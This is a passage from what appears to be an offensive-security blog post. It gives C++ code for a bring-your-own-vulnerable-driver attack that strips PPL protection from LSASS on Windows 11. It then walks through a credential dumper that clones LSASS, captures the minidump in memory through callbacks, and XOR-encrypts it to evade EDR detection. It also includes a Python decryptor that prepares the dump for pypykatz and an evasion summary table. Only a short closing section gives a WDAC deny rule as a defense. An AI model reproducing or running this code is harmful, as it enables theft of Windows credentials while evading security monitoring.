<p>Lastly, we output the current protection level for LSASS and clear the protection to remove the PPL protective barrier:</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code>            <span class="n">std</span><span class="o">::</span><span class="n">cout</span> <span class="o">&lt;&lt;</span> <span class="s">"[*] Current Protection: 0x"</span> <span class="o">&lt;&lt;</span> <span class="p">(</span><span class="kt">int</span><span class="p">)</span><span class="n">prot</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>

            <span class="c1">// ACTION: Clear Protection</span>
            <span class="n">BYTE</span> <span class="n">zero</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
            <span class="k">if</span> <span class="p">(</span><span class="n">Amd_WriteMemory</span><span class="p">(</span><span class="n">currentEproc</span> <span class="o">+</span> <span class="n">Offsets</span><span class="p">.</span><span class="n">ProtectionOffset</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">zero</span><span class="p">,</span> <span class="mi">1</span><span class="p">))</span> <span class="p">{</span>
                <span class="n">std</span><span class="o">::</span><span class="n">cout</span> <span class="o">&lt;&lt;</span> <span class="s">"[!!!] SUCCESS: Protection byte cleared."</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
            <span class="p">}</span>
            <span class="n">found</span> <span class="o">=</span> <span class="nb">true</span><span class="p">;</span>
            <span class="k">break</span><span class="p">;</span>
        <span class="p">}</span>
        <span class="n">currentFlink</span> <span class="o">=</span> <span class="n">ReadMemoryDWORD64</span><span class="p">(</span><span class="n">currentEproc</span> <span class="o">+</span> <span class="n">Offsets</span><span class="p">.</span><span class="n">ActiveProcessLinksOffset</span><span class="p">);</span>
    <span class="p">}</span>

    <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">found</span><span class="p">)</span> <span class="n">std</span><span class="o">::</span><span class="n">cout</span> <span class="o">&lt;&lt;</span> <span class="s">"[-] PID not found."</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>

    <span class="n">CloseHandle</span><span class="p">(</span><span class="n">hDriver</span><span class="p">);</span>
    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>That my friends, is the completed code for our BYOVD PPL removal on a modern Windows 11 25h2 machine with all security features enabled that are inherent to Windows by default.</p>

<p><strong>Full source code here:</strong> <a href="https://github.com/g3tsyst3m/CodefromBlog/blob/main/2026-5-29-BYOVD%20and%20Looting%20LSASS%20in%20the%20Modern%20EDR%20Era/byovd_sample2.cpp">Source Code in Full</a></p>

<h2 id="code-demo-for-disabling-ppl-protection-in-lsass">Code demo for Disabling PPL protection in LSASS</h2>

<p>Let’s see it in action!</p>

<p>Notice first how LSASS is currently protected:</p>

<p><img width="1759" height="37" alt="image" src="https://github.com/user-attachments/assets/96f620a2-e30c-48b2-994c-217c976c747e" /></p>

<p><strong>Now we run our code:</strong></p>

<p><img width="645" height="174" alt="image" src="https://github.com/user-attachments/assets/1f269199-1736-4b98-93b4-7e17ba3717c5" /></p>

<p>Close out and go back in to System Informer:</p>

<p><img width="968" height="633" alt="image" src="https://github.com/user-attachments/assets/08c30d16-4055-4999-bd13-50a926eea679" /></p>

<p>We’re ready to proceed with Part 2 of this post - Dumping LSASS!</p>

<h1 id="process-cloning-and-in-memory-minidump-interception-using-callbacks-and-xor-encryption">Process Cloning and In-Memory Minidump Interception using Callbacks and XOR Encryption</h1>

<p>Alright, let’s break this tool down piece by piece. This is a memory dumper that combines a few evasion tricks to fly under the radar of most EDR solutions:</p>

<ul>
  <li>Process cloning</li>
  <li>Threading to prevent the machine locking up during the dump (this happens to me more often that I’d like to admit!) 😸</li>
  <li>In-memory Minidump interception using NUL file handles and Callbacks to prevent writing in the clear</li>
  <li>XOR obfuscation applied to the final <code class="language-plaintext highlighter-rouge">.DMP</code> file</li>
</ul>

<p>All before anything ever touches disk. Let’s get into it.</p>

<hr />

<h2 id="headers-globals-and-the-xor-key">Headers, Globals, and the XOR Key</h2>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include</span> <span class="cpf">&lt;windows.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;winternl.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;DbgHelp.h&gt;</span><span class="cp">
</span><span class="p">...</span>
<span class="cp">#pragma comment(lib, "ntdll.lib")
#pragma comment(lib, "Dbghelp.lib")
</span>
<span class="cp">#define PS_INHERIT_HANDLES 0x00000004
</span><span class="k">const</span> <span class="kt">char</span> <span class="n">XOR_KEY</span> <span class="o">=</span> <span class="mh">0x55</span><span class="p">;</span>

<span class="n">std</span><span class="o">::</span><span class="n">atomic</span><span class="o">&lt;</span><span class="n">DWORD</span><span class="o">&gt;</span> <span class="n">dumpSize</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span>
<span class="n">LPVOID</span> <span class="n">dumpBuffer</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span>
</code></pre></div></div>

<p>Nothing too wild here on the surface, but a few things worth calling out. We’re pulling in <code class="language-plaintext highlighter-rouge">winternl.h</code> because we need access to undocumented NT internals.  Specifically, <code class="language-plaintext highlighter-rouge">NtCreateProcessEx</code>, which is the core of our cloning trick. <code class="language-plaintext highlighter-rouge">DbgHelp.h</code> gives us <code class="language-plaintext highlighter-rouge">MiniDumpWriteDump</code>, the function that does the actual memory capture.</p>

<p><code class="language-plaintext highlighter-rouge">PS_INHERIT_HANDLES (0x4)</code> is the flag we’ll pass to <code class="language-plaintext highlighter-rouge">NtCreateProcessEx</code> to make the cloned process inherit handles from the parent, which is critical for the clone to function properly.</p>

<p><code class="language-plaintext highlighter-rouge">XOR_KEY = 0x55</code> is our dead-simple obfuscation key.  It’s enough to mangle the MZ header and scramble the dump so signature-based detections on file writes don’t immediately fire. More on that later.</p>

<p><code class="language-plaintext highlighter-rouge">dumpSize</code> is atomic because it’s shared between the callback thread (which increments it) and the main thread (which reads it).  We don’t want a race condition eating our byte count.</p>

<hr />

<h2 id="the-ntcreateprocessex-typedef">The NtCreateProcessEx Typedef</h2>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">typedef</span> <span class="nf">NTSTATUS</span><span class="p">(</span><span class="n">NTAPI</span><span class="o">*</span> <span class="n">NtCreateProcessEx_t</span><span class="p">)(</span>
    <span class="n">OUT</span> <span class="n">PHANDLE</span> <span class="n">ProcessHandle</span><span class="p">,</span>
    <span class="n">IN</span> <span class="n">ACCESS_MASK</span> <span class="n">DesiredAccess</span><span class="p">,</span>
    <span class="n">IN</span> <span class="n">POBJECT_ATTRIBUTES</span> <span class="n">ObjectAttributes</span> <span class="n">OPTIONAL</span><span class="p">,</span>
    <span class="n">IN</span> <span class="n">HANDLE</span> <span class="n">ParentProcess</span><span class="p">,</span>
    <span class="n">IN</span> <span class="n">ULONG</span> <span class="n">Flags</span><span class="p">,</span>
    <span class="p">...</span>
    <span class="p">);</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">NtCreateProcessEx</code> is an an undocumented Windows Native API that lets you create a new process using an <em>existing process as the parent template</em>. Microsoft doesn’t officially expose this in the SDK, so we have to define the function pointer signature ourselves and resolve it at runtime via <code class="language-plaintext highlighter-rouge">GetProcAddress</code> from <code class="language-plaintext highlighter-rouge">ntdll.dll</code>.  Thankfully many other researchers have explored this undocumented NT API and shared their findings so we can better understand them. 😸</p>

<p>This is essentially the heart of the <strong>process cloning</strong> technique. Instead of opening a handle to something sensitive like <code class="language-plaintext highlighter-rouge">lsass.exe</code> and reading its memory directly (which EDRs absolutely watch for), we clone it. The clone is a snapshot of the original process’s address space.  It’s the same memory and same handles, but it’s a new process object. Dumping the <em>clone</em> instead of the original is a classic way to sidestep handle-based detections.</p>

<hr />

<h2 id="getting-sedebugprivilege">Getting SeDebugPrivilege</h2>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">BOOL</span> <span class="nf">EnablePrivilege</span><span class="p">(</span><span class="n">LPCWSTR</span> <span class="n">privilege</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">HANDLE</span> <span class="n">hToken</span><span class="p">;</span>
    <span class="n">TOKEN_PRIVILEGES</span> <span class="n">tp</span><span class="p">;</span>
    <span class="n">LUID</span> <span class="n">luid</span><span class="p">;</span>

    <span class="n">OpenProcessToken</span><span class="p">(</span><span class="n">GetCurrentProcess</span><span class="p">(),</span> <span class="n">TOKEN_ADJUST_PRIVILEGES</span> <span class="o">|</span> <span class="n">TOKEN_QUERY</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">hToken</span><span class="p">);</span>
    <span class="n">LookupPrivilegeValue</span><span class="p">(</span><span class="nb">NULL</span><span class="p">,</span> <span class="n">privilege</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">luid</span><span class="p">);</span>
    <span class="n">tp</span><span class="p">.</span><span class="n">Privileges</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">Attributes</span> <span class="o">=</span> <span class="n">SE_PRIVILEGE_ENABLED</span><span class="p">;</span>
    <span class="n">AdjustTokenPrivileges</span><span class="p">(</span><span class="n">hToken</span><span class="p">,</span> <span class="n">FALSE</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">tp</span><span class="p">,</span> <span class="p">...);</span>
    <span class="p">...</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Before we can open handles to protected processes or clone them, we need <code class="language-plaintext highlighter-rouge">SeDebugPrivilege</code>. This privilege lets a process read/write the memory of any other process on the system, including protected ones. It’s typically held by admins and SYSTEM.</p>

<p>The flow here is standard:</p>
<ol>
  <li>Open our own process token</li>
  <li>Look up the LUID (locally unique identifier) for the privilege we want</li>
  <li>Set it enabled and call <code class="language-plaintext highlighter-rouge">AdjustTokenPrivileges</code></li>
</ol>

<p>This is a prerequisite step. If we can’t get SeDebug, we bail early.</p>

<hr />

<h2 id="xor-obfuscation">XOR Obfuscation</h2>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="nf">xor_buffer</span><span class="p">(</span><span class="n">LPVOID</span> <span class="n">buffer</span><span class="p">,</span> <span class="n">DWORD</span> <span class="n">size</span><span class="p">,</span> <span class="kt">char</span> <span class="n">key</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">BYTE</span><span class="o">*</span> <span class="n">p</span> <span class="o">=</span> <span class="p">(</span><span class="n">BYTE</span><span class="o">*</span><span class="p">)</span><span class="n">buffer</span><span class="p">;</span>
    <span class="k">for</span> <span class="p">(</span><span class="n">DWORD</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">size</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">p</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">^=</span> <span class="n">key</span><span class="p">;</span>
    <span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Nothing fancy here really, just standard XOR encryption logic.  We walk every byte in the dump buffer and XOR it against <code class="language-plaintext highlighter-rouge">0x55</code>. The reason this matters: a raw minidump starts with the signature <code class="language-plaintext highlighter-rouge">MDMP</code> followed by recognizable structures. EDR products and AV engines scan file writes for these patterns. XOR-ing the buffer before it hits disk scrambles those signatures completely. The first four bytes <code class="language-plaintext highlighter-rouge">4D 44 4D 50</code> become <code class="language-plaintext highlighter-rouge">18 11 18 05</code>, which is totally unrecognizable.</p>

<p>To recover the dump later for analysis in <strong>Mimikatz</strong> or <strong>pypykatz</strong>, you just <strong>XOR</strong> it again with the same key (XOR is its own inverse).</p>

<hr />

<h2 id="the-worker-thread">The Worker Thread</h2>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="nf">process_and_save_dump</span><span class="p">(</span><span class="n">LPVOID</span> <span class="n">buffer</span><span class="p">,</span> <span class="n">DWORD</span> <span class="n">size</span><span class="p">,</span> <span class="k">const</span> <span class="kt">char</span><span class="o">*</span> <span class="n">outPath</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">xor_buffer</span><span class="p">(</span><span class="n">buffer</span><span class="p">,</span> <span class="n">size</span><span class="p">,</span> <span class="n">XOR_KEY</span><span class="p">);</span>

    <span class="n">HANDLE</span> <span class="n">hFile</span> <span class="o">=</span> <span class="n">CreateFileA</span><span class="p">(</span><span class="n">outPath</span><span class="p">,</span> <span class="n">GENERIC_WRITE</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="n">CREATE_ALWAYS</span><span class="p">,</span> <span class="p">...);</span>
    <span class="n">WriteFile</span><span class="p">(</span><span class="n">hFile</span><span class="p">,</span> <span class="n">buffer</span><span class="p">,</span> <span class="n">size</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">bytesWritten</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">);</span>
    <span class="n">CloseHandle</span><span class="p">(</span><span class="n">hFile</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>

<p>After the dump lands in RAM, we spin up a worker thread to handle the XOR pass and disk write. This keeps the main thread clean and separates the dumping phase from the obfuscation/exfil phase. The dump lands at <code class="language-plaintext highlighter-rouge">C:\Users\Public\PID_xor.dmp</code>, whic is a world-writable path, no special permissions needed.</p>

<hr />

<h2 id="the-callback-routine-and-intercepting-minidump-writes">The Callback Routine and Intercepting MiniDump Writes</h2>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">BOOL</span> <span class="n">CALLBACK</span> <span class="nf">DumpCallbackRoutine</span><span class="p">(</span><span class="n">PVOID</span> <span class="n">CallbackParam</span><span class="p">,</span> 
    <span class="k">const</span> <span class="n">PMINIDUMP_CALLBACK_INPUT</span> <span class="n">CallbackInput</span><span class="p">,</span> 
    <span class="n">PMINIDUMP_CALLBACK_OUTPUT</span> <span class="n">CallbackOutput</span><span class="p">)</span> <span class="p">{</span>

    <span class="k">switch</span> <span class="p">(</span><span class="n">CallbackInput</span><span class="o">-&gt;</span><span class="n">CallbackType</span><span class="p">)</span> <span class="p">{</span>
    <span class="k">case</span> <span class="n">IoStartCallback</span><span class="p">:</span>
        <span class="n">CallbackOutput</span><span class="o">-&gt;</span><span class="n">Status</span> <span class="o">=</span> <span class="n">S_FALSE</span><span class="p">;</span>
        <span class="k">break</span><span class="p">;</span>
    <span class="k">case</span> <span class="n">IoWriteAllCallback</span><span class="p">:</span>
        <span class="n">source</span> <span class="o">=</span> <span class="n">CallbackInput</span><span class="o">-&gt;</span><span class="n">Io</span><span class="p">.</span><span class="n">Buffer</span><span class="p">;</span>
        <span class="n">destination</span> <span class="o">=</span> <span class="p">(</span><span class="n">LPVOID</span><span class="p">)((</span><span class="n">DWORD_PTR</span><span class="p">)</span><span class="n">dumpBuffer</span> <span class="o">+</span> <span class="n">CallbackInput</span><span class="o">-&gt;</span><span class="n">Io</span><span class="p">.</span><span class="n">Offset</span><span class="p">);</span>
        <span class="n">RtlCopyMemory</span><span class="p">(</span><span class="n">destination</span><span class="p">,</span> <span class="n">source</span><span class="p">,</span> <span class="n">bufferSize</span><span class="p">);</span>
        <span class="n">dumpSize</span><span class="p">.</span><span class="n">fetch_add</span><span class="p">(</span><span class="n">bufferSize</span><span class="p">);</span>
        <span class="k">break</span><span class="p">;</span>
    <span class="k">case</span> <span class="n">IoFinishCallback</span><span class="p">:</span>
        <span class="n">CallbackOutput</span><span class="o">-&gt;</span><span class="n">Status</span> <span class="o">=</span> <span class="n">S_OK</span><span class="p">;</span>
        <span class="k">break</span><span class="p">;</span>
    <span class="p">}</span>
    <span class="k">return</span> <span class="n">TRUE</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>This is one of the slicker tricks in the toolbox. <code class="language-plaintext highlighter-rouge">MiniDumpWriteDump</code> normally writes directly to a file handle you provide. But it also supports a callback interface.  Through that callback, every I/O operation gets routed through our function before it hits disk.</p>

<p>Here’s what each callback type does:</p>

<ul>
  <li><strong><code class="language-plaintext highlighter-rouge">IoStartCallback</code></strong> — fires when the dump begins. We return <code class="language-plaintext highlighter-rouge">S_FALSE</code> to signal “I’ll handle the I/O myself.”</li>
  <li><strong><code class="language-plaintext highlighter-rouge">IoWriteAllCallback</code></strong> — fires for every chunk of data being written. Instead of letting it go to disk, we <code class="language-plaintext highlighter-rouge">RtlCopyMemory</code> it into our own <code class="language-plaintext highlighter-rouge">dumpBuffer</code> at the correct offset. The <code class="language-plaintext highlighter-rouge">dumpSize</code> atomic counter tracks total bytes captured.</li>
  <li><strong><code class="language-plaintext highlighter-rouge">IoFinishCallback</code></strong> — fires when the dump is done. We return <code class="language-plaintext highlighter-rouge">S_OK</code> to signal success.</li>
</ul>

<p>The result: the entire dump lives in <strong>RAM only</strong> until we deliberately write it. This sidesteps file-based write detections entirely during the capture phase. 😏</p>

<hr />

<h2 id="putting-it-all-together">Putting It All Together</h2>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int</span> <span class="nf">main</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="kt">char</span><span class="o">*</span> <span class="n">argv</span><span class="p">[])</span> <span class="p">{</span>
    <span class="n">DWORD</span> <span class="n">targetPid</span> <span class="o">=</span> <span class="p">(</span><span class="n">DWORD</span><span class="p">)</span><span class="n">atoi</span><span class="p">(</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">]);</span>
    <span class="n">EnablePrivilege</span><span class="p">(</span><span class="n">SE_DEBUG_NAME</span><span class="p">);</span>

    <span class="c1">// 1. Allocate 200MB heap buffer</span>
    <span class="n">dumpBuffer</span> <span class="o">=</span> <span class="n">HeapAlloc</span><span class="p">(</span><span class="n">GetProcessHeap</span><span class="p">(),</span> <span class="n">HEAP_ZERO_MEMORY</span><span class="p">,</span> <span class="mi">1024</span> <span class="o">*</span> <span class="mi">1024</span> <span class="o">*</span> <span class="mi">200</span><span class="p">);</span>

    <span class="c1">// 2. Clone the target process</span>
    <span class="n">HANDLE</span> <span class="n">hTarget</span> <span class="o">=</span> <span class="n">OpenProcess</span><span class="p">(</span><span class="n">PROCESS_ALL_ACCESS</span><span class="p">,</span> <span class="n">FALSE</span><span class="p">,</span> <span class="n">targetPid</span><span class="p">);</span>
    <span class="n">NtCreateProcessEx</span><span class="p">(</span><span class="o">&amp;</span><span class="n">hClone</span><span class="p">,</span> <span class="n">PROCESS_ALL_ACCESS</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="n">hTarget</span><span class="p">,</span> <span class="n">PS_INHERIT_HANDLES</span><span class="p">,</span> <span class="p">...);</span>

    <span class="c1">// 3. Open a handle to NUL</span>
    <span class="n">HANDLE</span> <span class="n">hNul</span> <span class="o">=</span> <span class="n">CreateFileA</span><span class="p">(</span><span class="s">"NUL"</span><span class="p">,</span> <span class="n">GENERIC_ALL</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="n">OPEN_EXISTING</span><span class="p">,</span> <span class="p">...);</span>

    <span class="c1">// 4. Dump via callback</span>
    <span class="n">MiniDumpWriteDump</span><span class="p">(</span><span class="n">hClone</span><span class="p">,</span> <span class="n">targetPid</span><span class="p">,</span> <span class="n">hNul</span><span class="p">,</span> <span class="n">MiniDumpWithFullMemory</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">mci</span><span class="p">);</span>

    <span class="c1">// 5. XOR + write in worker thread</span>
    <span class="n">std</span><span class="o">::</span><span class="kr">thread</span> <span class="n">worker</span><span class="p">(</span><span class="n">process_and_save_dump</span><span class="p">,</span> <span class="n">dumpBuffer</span><span class="p">,</span> <span class="n">finalSize</span><span class="p">,</span> <span class="n">outPath</span><span class="p">);</span>
    <span class="n">worker</span><span class="p">.</span><span class="n">join</span><span class="p">();</span>
<span class="p">}</span>
</code></pre></div></div>

<p>The main function orchestrates the whole attack chain:</p>

<p><strong>Step 1 — Buffer allocation.</strong> We pre-allocate 200MB on the heap to receive the dump. This is sized generously to handle a full <code class="language-plaintext highlighter-rouge">lsass</code> dump on most systems.</p>

<p><strong>Step 2 — Process cloning</strong>. We open the target PID with <strong>PROCESS_CREATE_PROCESS</strong> access, then pass that handle to <strong>NtCreateProcessEx</strong> as the parent. The kernel creates a new cloned process object that is a snapshot of the target’s address space. We then dump the clone, not the original <code class="language-plaintext highlighter-rouge">LSASS</code> process. This avoids opening a full read/write handle directly on the sensitive <code class="language-plaintext highlighter-rouge">lsass.exe</code> process (the pattern most EDRs monitor).</p>

<p><strong>Step 3 — The NUL handle trick.</strong> <code class="language-plaintext highlighter-rouge">MiniDumpWriteDump</code> requires a file handle as a parameter. We pass it <code class="language-plaintext highlighter-rouge">NUL</code>, which is Windows’ equivalent of <code class="language-plaintext highlighter-rouge">/dev/null</code>. Since our callback intercepts all writes before they reach the file, nothing actually goes to NUL. But the function needs a valid handle, and NUL is the cleanest placeholder.</p>

<p><strong>Step 4 — Dump triggered via callback.</strong> With <code class="language-plaintext highlighter-rouge">MiniDumpWithFullMemory</code> we capture everything: stack, heap, mapped files. The callback silently redirects every write chunk into our RAM buffer.</p>

<p><strong>Step 5 — Worker thread handles the rest.</strong> Once the dump is in memory, we hand it off to the worker thread to XOR and write to disk. Main thread waits for it to finish, then cleans up all handles and frees the heap buffer.</p>

<hr />

<p>Final source code: <a href="https://github.com/g3tsyst3m/CodefromBlog/blob/main/2026-5-29-BYOVD%20and%20Looting%20LSASS%20in%20the%20Modern%20EDR%20Era/dump_the_goodz_7.cpp">Full Source Code</a></p>

<h2 id="evasion-summary">Evasion Summary</h2>

<p>To recap, this tool chains several techniques together that each address a different detection layer:</p>

<table>
  <thead>
    <tr>
      <th>Technique</th>
      <th>What It Evades</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>Process cloning via NtCreateProcessEx</td>
      <td>Handle-based detections on sensitive processes</td>
    </tr>
    <tr>
      <td>MiniDump callback (in-memory dump)</td>
      <td>File-write monitoring during capture</td>
    </tr>
    <tr>
      <td>XOR before disk write</td>
      <td>Signature scanning on dump files</td>
    </tr>
    <tr>
      <td>Writing to NUL device</td>
      <td>File creation events during the dump call</td>
    </tr>
    <tr>
      <td>Worker thread separation</td>
      <td>Keeps dump/write operations isolated</td>
    </tr>
  </tbody>
</table>

<p>No single one of these is a silver bullet, but layered together, they make for a very covert approach to dumping LSASS in the modern era of EDR.</p>

<hr />

<h2 id="code-demo">Code Demo!</h2>

<p><img width="1076" height="185" alt="image" src="https://github.com/user-attachments/assets/f8e61426-1448-4d06-954a-07767e8d3634" /></p>

<p>And the encrypted file:</p>

<p><img width="1638" height="878" alt="image" src="https://github.com/user-attachments/assets/3d730761-4dcf-44bc-b52a-2eab13e94ae4" /></p>

<p>okay, let’s decrypt this thing!</p>

<p><img width="892" height="184" alt="image" src="https://github.com/user-attachments/assets/9fa293e8-f7f6-4d91-a1e5-12a35a3b0837" /></p>

<p><img width="1058" height="732" alt="image" src="https://github.com/user-attachments/assets/99964278-efaa-42ab-b34a-9f86d06bfd2e" /></p>

<p>Want the decrypt code?  Sure, here it is.  Take it! 😸</p>

<blockquote>
  <p><strong>XOR Decrypt code</strong></p>
</blockquote>

<div class="language-py highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="n">sys</span>

<span class="k">def</span> <span class="nf">xor_decrypt</span><span class="p">(</span><span class="n">input_path</span><span class="p">,</span> <span class="n">output_path</span><span class="p">,</span> <span class="n">key</span><span class="o">=</span><span class="mh">0x55</span><span class="p">):</span>
    <span class="k">try</span><span class="p">:</span>
        <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">[*] Reading encrypted dump: </span><span class="si">{</span><span class="n">input_path</span><span class="si">}</span><span class="sh">"</span><span class="p">)</span>
        <span class="k">with</span> <span class="nf">open</span><span class="p">(</span><span class="n">input_path</span><span class="p">,</span> <span class="sh">'</span><span class="s">rb</span><span class="sh">'</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
            <span class="n">encrypted_data</span> <span class="o">=</span> <span class="n">f</span><span class="p">.</span><span class="nf">read</span><span class="p">()</span>

        <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">[*] Decrypting </span><span class="si">{</span><span class="nf">len</span><span class="p">(</span><span class="n">encrypted_data</span><span class="p">)</span><span class="si">}</span><span class="s"> bytes...</span><span class="sh">"</span><span class="p">)</span>
        <span class="c1"># Perform XOR operation on every byte
</span>        <span class="n">decrypted_data</span> <span class="o">=</span> <span class="nf">bytearray</span><span class="p">([</span><span class="n">b</span> <span class="o">^</span> <span class="n">key</span> <span class="k">for</span> <span class="n">b</span> <span class="ow">in</span> <span class="n">encrypted_data</span><span class="p">])</span>

        <span class="k">with</span> <span class="nf">open</span><span class="p">(</span><span class="n">output_path</span><span class="p">,</span> <span class="sh">'</span><span class="s">wb</span><span class="sh">'</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
            <span class="n">f</span><span class="p">.</span><span class="nf">write</span><span class="p">(</span><span class="n">decrypted_data</span><span class="p">)</span>

        <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">[+] Success! Decrypted dump saved to: </span><span class="si">{</span><span class="n">output_path</span><span class="si">}</span><span class="sh">"</span><span class="p">)</span>
        
        <span class="c1"># Quick validation check for the Minidump header
</span>        <span class="k">if</span> <span class="n">decrypted_data</span><span class="p">[:</span><span class="mi">4</span><span class="p">]</span> <span class="o">==</span> <span class="sa">b</span><span class="sh">'</span><span class="s">MDMP</span><span class="sh">'</span><span class="p">:</span>
            <span class="nf">print</span><span class="p">(</span><span class="sh">"</span><span class="s">[+] Header Validation: MDMP signature found. File is ready for pypykatz.</span><span class="sh">"</span><span class="p">)</span>
        <span class="k">else</span><span class="p">:</span>
            <span class="nf">print</span><span class="p">(</span><span class="sh">"</span><span class="s">[!] Warning: MDMP signature not found. Check your XOR key.</span><span class="sh">"</span><span class="p">)</span>

    <span class="k">except</span> <span class="nb">FileNotFoundError</span><span class="p">:</span>
        <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">[-] Error: File </span><span class="sh">'</span><span class="si">{</span><span class="n">input_path</span><span class="si">}</span><span class="sh">'</span><span class="s"> not found.</span><span class="sh">"</span><span class="p">)</span>
    <span class="k">except</span> <span class="nb">Exception</span> <span class="k">as</span> <span class="n">e</span><span class="p">:</span>
        <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">[-] An error occurred: </span><span class="si">{</span><span class="n">e</span><span class="si">}</span><span class="sh">"</span><span class="p">)</span>

<span class="k">if</span> <span class="n">__name__</span> <span class="o">==</span> <span class="sh">"</span><span class="s">__main__</span><span class="sh">"</span><span class="p">:</span>
    <span class="k">if</span> <span class="nf">len</span><span class="p">(</span><span class="n">sys</span><span class="p">.</span><span class="n">argv</span><span class="p">)</span> <span class="o">&lt;</span> <span class="mi">3</span><span class="p">:</span>
        <span class="nf">print</span><span class="p">(</span><span class="sh">"</span><span class="s">Usage: python3 decrypt_dump.py &lt;input_file&gt; &lt;output_file&gt;</span><span class="sh">"</span><span class="p">)</span>
    <span class="k">else</span><span class="p">:</span>
        <span class="nf">xor_decrypt</span><span class="p">(</span><span class="n">sys</span><span class="p">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="n">sys</span><span class="p">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">2</span><span class="p">])</span>
</code></pre></div></div>

<h2 id="️-so-how-do-i-defend-against-this-️">🛡️ So, How do I defend against This? 🛡️</h2>

<p>First off, I need to make this point very clear.  This is using an already known vulnerable driver.  The fact this is even allowed on a fully patched, secured Windows 11 25h2 machine with all security features enabled blows my mind.  This shouldn’t even be possible in the first place.  But, then again I wouldn’t be a security researcher if I didn’t find some alternative, unexplored ways of achieving an end goal right? 😸  Since the vulnerable driver block list isn’t detecting this (because it’s a different hash?), then we are left with one option I’m aware of as far as built in options in Windows.  We can create a rule/policy using Windows Defender Application Control to block the driver from starting.  Other than that, this really should be easier to prevent. LoL.</p>

<p>Here’s a script that accomplishes this for those interested.  Be sure to revise it accordingly for your own use case:</p>

<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="w">
</span><span class="nv">$DenyRule</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">New-CIPolicyRule</span><span class="w"> </span><span class="nt">-Level</span><span class="w"> </span><span class="nx">FilePublisher</span><span class="w"> </span><span class="nt">-DriverFilePath</span><span class="w"> </span><span class="s2">"C:\users\robbi\OneDrive\Pictures\AMD.sys"</span><span class="w"> </span><span class="nt">-Fallback</span><span class="w"> </span><span class="nx">SignedVersion</span><span class="p">,</span><span class="nx">Publisher</span><span class="p">,</span><span class="nx">Hash</span><span class="w"> </span><span class="nt">-Deny</span><span class="w">

</span><span class="c"># 1. Copy the template to your Documents folder where you have full permissions</span><span class="w">
